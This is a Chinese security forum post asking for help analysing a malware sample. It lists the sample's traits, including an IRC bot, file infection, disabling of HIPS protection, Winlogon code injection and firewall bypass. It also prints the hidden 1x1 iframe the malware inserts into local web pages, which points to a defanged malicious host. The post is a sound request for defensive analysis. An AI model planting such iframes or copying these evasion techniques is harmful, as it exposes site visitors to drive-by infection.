【讨论】交流(有样本)
早上跟了会,原理还是不大懂,特此上传
病毒特征（包括但不限于）：
1、IRCbot
2、感染文件（判断系统文件感染，系统盘一样遭殃，捆绑，感染标记PADDINGXXPADDING……）
3、Hook（不记得哪几个了）
4、破坏HIPS驱动（EQ、SSM均失效），原理不懂，还是恢复了SSDT挂钩？
5、往Winlogon写入代码，并直接获取系统内存。
6、添加到系统防火墙的忽略列表（穿墙）。
7、查找硬盘网页，插入JS代码：
<iframe src="hXXp://ntkrnlpa.info/rc/?i=1" width=1 height=1 style="border:0"></iframe>
</BODY>
</HTML>
其他的没跟踪到```
等待高手详细分析，诚心求教！
[用户系统信息]Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Maxthon)
